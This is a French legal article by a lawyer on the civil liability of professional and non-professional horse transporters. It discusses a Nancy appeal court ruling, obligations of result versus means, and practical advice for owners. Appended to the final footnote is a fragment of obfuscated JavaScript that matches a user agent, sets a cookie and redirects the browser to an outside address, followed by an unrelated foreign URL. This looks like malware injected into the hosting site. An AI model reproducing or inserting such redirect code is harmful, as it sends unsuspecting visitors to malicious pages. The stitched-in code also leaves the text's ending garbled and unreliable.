Les obligations du transporteur de chevaux (professionnel et non professionnel)

Sorties en compétitions, week-end à la plage ou simplement changement d’écurie, les occasions d’organiser le transport de son cheval sont nombreuses pour le cavalier propriétaire.

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Comment faire lorsque ledit propriétaire n’est pas à même de transporter son cheval ? Le plus souvent, le cavalier propriétaire désireux de transporter son cheval fait appel à un professionnel du transport des chevaux (contre rémunération) ou s’arrange avec d’autres cavaliers qui ont un transport. A ce titre, ces transporteurs non professionnels peuvent être rémunérés ou non.

Quelles sont les obligations du transporteur dans ces différents cas ? Le transporteur est-il redevable d’une obligation de résultat ou d’une simple obligation de moyens ? Quels recours sont à la disposition du cavalier propriétaire en cas d’accident ? Analysons ensemble le régime juridique lié au transport des chevaux[1].

Pouvoir transporter son cheval en toute autonomie n’est pas à la portée de n’importe quel propriétaire. En effet, avoir son propre camion ou son propre van – et donc dans ce cas un véhicule pouvant tracter – pose des problématiques logistiques et financières importantes… C’est pourquoi, de nombreux cavaliers font appel soit à un transporteur professionnel, soit à un ami ou une connaissance pour faire transporter leur cheval. Malheureusement, sur la route, les dangers sont partout et il convient donc de choisir le mode de transport le plus adapté à votre compagnon et qui vous sécurise au mieux, en tant que propriétaire.

Avant de commencer notre exposé théorique, examinons un « cas d’école » pour comprendre les risques liés au transport de son cheval.

  1. Cas d’école…

Propriétaire d’un jeune cheval et souhaitant le vendre, Madame F décide de le confier à un intermédiaire qui s’occupera de le sortir en compétition et de le vendre.

C’est ainsi que le 19 mars 2006, Madame F conclut avec Madame L un contrat intitulé « contrat d’exploitation avec mandat de vente » aux termes duquel il est prévu que Madame F confie son cheval à Madame L en vue de sa vente, Madame L devant héberger le cheval et ayant la possibilité de l’utiliser en compétition – afin de le « montrer » et de favoriser sa vente. Par ailleurs, il était prévu que tous les frais inhérents au cheval étaient à la seule charge de Madame L qui, en contrepartie, pouvait le cas échéant conserver la totalité des gains obtenus en concours (CA Nancy 6 mars 2012, Jurisdata n° 2012-018581).

Madame L a donc transporté ledit cheval sur un terrain de concours et, estimant que la durée de stationnement était réduite, n’a pas loué de box sur place et a laissé le cheval à l’intérieur du camion le temps de l’attente. Malheureusement, pendant ce laps de temps, celui-ci s’est gravement blessé dans le camion et a dû être euthanasié. Madame F a intenté une action devant les tribunaux afin d’engager la responsabilité de Madame L et de se voir indemnisée pour la perte de son cheval.

Dans cette espèce, la Cour d’appel a considéré que le contrat s’analysait « d’une part en un mandat de vente, d’autre part en un contrat de dépôt salarié rémunéré par les gains de concours » et la responsabilité de la cavalière a été écartée. Pourquoi ? Comment ? Pour répondre à cette question, il convient d’étudier plus en détails le régime juridique du transporteur de chevaux, qu’il s’agisse de son métier (transporteur professionnel), qu’il rende simplement service ou qu’il s’agisse d’une prestation accessoire à sa prestation principale (transporteur non professionnel dans les 2 derniers cas).

  1. Les obligations du transporteur professionnel

Le transporteur professionnel est tenu, en vertu de l’article L. 133-1 du Code de commerce relatif au contrat de transport, d’une obligation de résultat : aussi, l’existence du dommage suffira à engager sa responsabilité (hors cas de force majeure).

A noter qu’il y a « contrat de transport » dès lors que le déplacement du cheval est l’objet principal de la prestation à exécuter et que ce déplacement est rémunéré. C’est le cas le plus sécurisant pour le propriétaire d’équidé ; le transporteur ne pourra en effet s’exonérer qu’en démontrant son absence de faute et l’existence soit d’un cas de force majeure, soit d’un vice propre de la chose (le cheval), soit de la faute du cocontractant (le propriétaire).

  1. Les obligations du transporteur non professionnel

Dans le cas du recours à un transporteur non professionnel ne percevant aucune rémunération (excepté le partage des frais de route), la responsabilité de ce dernier en cas d’accident sera délictuelle. Autrement dit, le propriétaire devra prouver la faute du conducteur ou invoquer la responsabilité sans faute du fait des choses, c’est-à-dire du véhicule (Le droit du cheval et de l’équitation, 2005, p. 63).

Dans le cas où le transporteur est le dépositaire du cheval, le régime de responsabilité de ce dernier est celui correspondant au contrat principal : à ce titre, il sera donc redevable d’une obligation de moyens simple (contrat d’entreprise) ou renforcée (contrat de dépôt salarié)[2].

C’est ainsi que, pour revenir à notre cas d’école, les juges ont considéré que le contrat s’analysait « d’une part en un mandat de vente, d’autre part en un contrat de dépôt salarié rémunéré par les gains de concours » et n’ont pas manqué de rappeler à ce sujet que « le dépositaire à titre onéreux ne peut s’exonérer de l’obligation de moyens à laquelle il est tenu qu’en rapportant la preuve soit de son absence de faute, soit d’un événement de force majeure, soit du fait du déposant » (Cass. Civ1., 29 janvier 2002, n° 99-19.316). En effet, Madame L, ayant agi – selon les juges de la Cour d’appel de Nancy – dans le cadre d’un contrat de dépôt salarié (et non d’un contrat d’entraînement), était donc redevable à ce titre d’une obligation de moyens renforcée : autrement dit, elle ne pouvait s’exonérer de sa responsabilité qu’en prouvant son absence de faute.

Aussi, il a été jugé que la responsabilité de Madame L ne pouvait être engagée, car « elle démontrait qu’elle n’avait commis aucune faute ». Pour appuyer leur décision les juges se sont notamment basés sur plusieurs attestations desquelles il ressortait que « Madame L a[vait] procédé au transport et à la mise en attente de l’animal dans des conditions habituellement mises en œuvre par des pratiquants expérimentés de l’équitation (…), sans devoir recourir à l’utilisation d’un box, inutile en de telles circonstances en raison de la durée réduite de l’épreuve équestre (…) » et que « le véhicule utilisé était adapté au transport des chevaux ». En outre, les attestations ont permis de prouver que « le cheval était sous la surveillance de celle-ci [Madame L] et équipé de protections de transport » et que « Madame L a réagi très rapidement et demandé l’assistance du vétérinaire de garde ». En résumé, la responsabilité de Madame L a été écartée au motif qu’elle a agi avec le même soin que s’il avait été question de son propre cheval et qu’elle n’a commis aucune faute dans la survenance de l’accident.

Il convient enfin de souligner un cas particulier : celui du transporteur non professionnel qui est rémunéré pour assurer le transport d’un cheval. Dans pareil cas, il semblerait que la jurisprudence admette qu’une obligation de résultat soit à la charge de ce dernier, bien que les dispositions légales propres au contrat de transport ne s’appliquent pas. Toutefois, on peut s’interroger sur l’intérêt de recourir à un transporteur dont le transport des chevaux n’est pas le métier à proprement parler (au lieu de s’adresser à un professionnel) si c’est pour engager des dépenses financières comparables…

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Les possibilités offertes en termes de transport sont nombreuses et les conséquences en termes de responsabilité diffèrent en fonction des options choisies. Désormais, dûment informé sur celles-ci, préférez l’option qui rassemble le plus d’avantages pour vous et votre compagnon en fonction de vos contraintes financières et pratiques.

 

 

Julie Chapuy, Avocat à la Cour

 

 

 

 

 

 

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Conseils pratiques
– Pour les propriétaires :

Si vous en avez les moyens, préférez le recours à un transporteur professionnel ; en comparaison avec un transporteur non professionnel, celui-ci vous apportera des garanties supplémentaires (obligation de résultat vs. obligation de moyens). En outre, les transporteurs professionnels ont une grande habitude de la route et de ses dangers ainsi que de la gestion des chevaux pendant le transport.

 

– Pour les dépositaires :

Si vous devez transporter des chevaux de façon habituelle, veillez à entretenir comme il se doit les véhicules de transport, à toujours mettre des protections aux chevaux transportés et à assurer leur surveillance pendant le transport. Ainsi, il vous sera plus aisé de prouver l’absence de faute en cas d’accident et de contentieux judiciaire.

 

A retenir…
Indépendamment du préjudice matériel lié à la mort d’un animal, les juges admettent l’existent d’un préjudice subjectif et affectif susceptible de donner lieu à réparation (CA Toulouse, 6 mars 2007, n° 05/04051). En cas de décès de votre cheval lors d’un transport, vous avez donc la possibilité de demander réparation de votre préjudice moral (hors demande exorbitante).

 

[1] Cet article n’aborde pas les problématiques juridiques liées à la Loi du 5 juillet 1985 sur les accidents de la circulation et se cantonne à l’étude des mécanismes de responsabilité civile délictuelle et contractuelle.

[2] Cf. Article « Mettre son cheval en pension », L’Eperon n°343, Avril 2013. |vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}http://trimsalon-marlie.nl/?p=797

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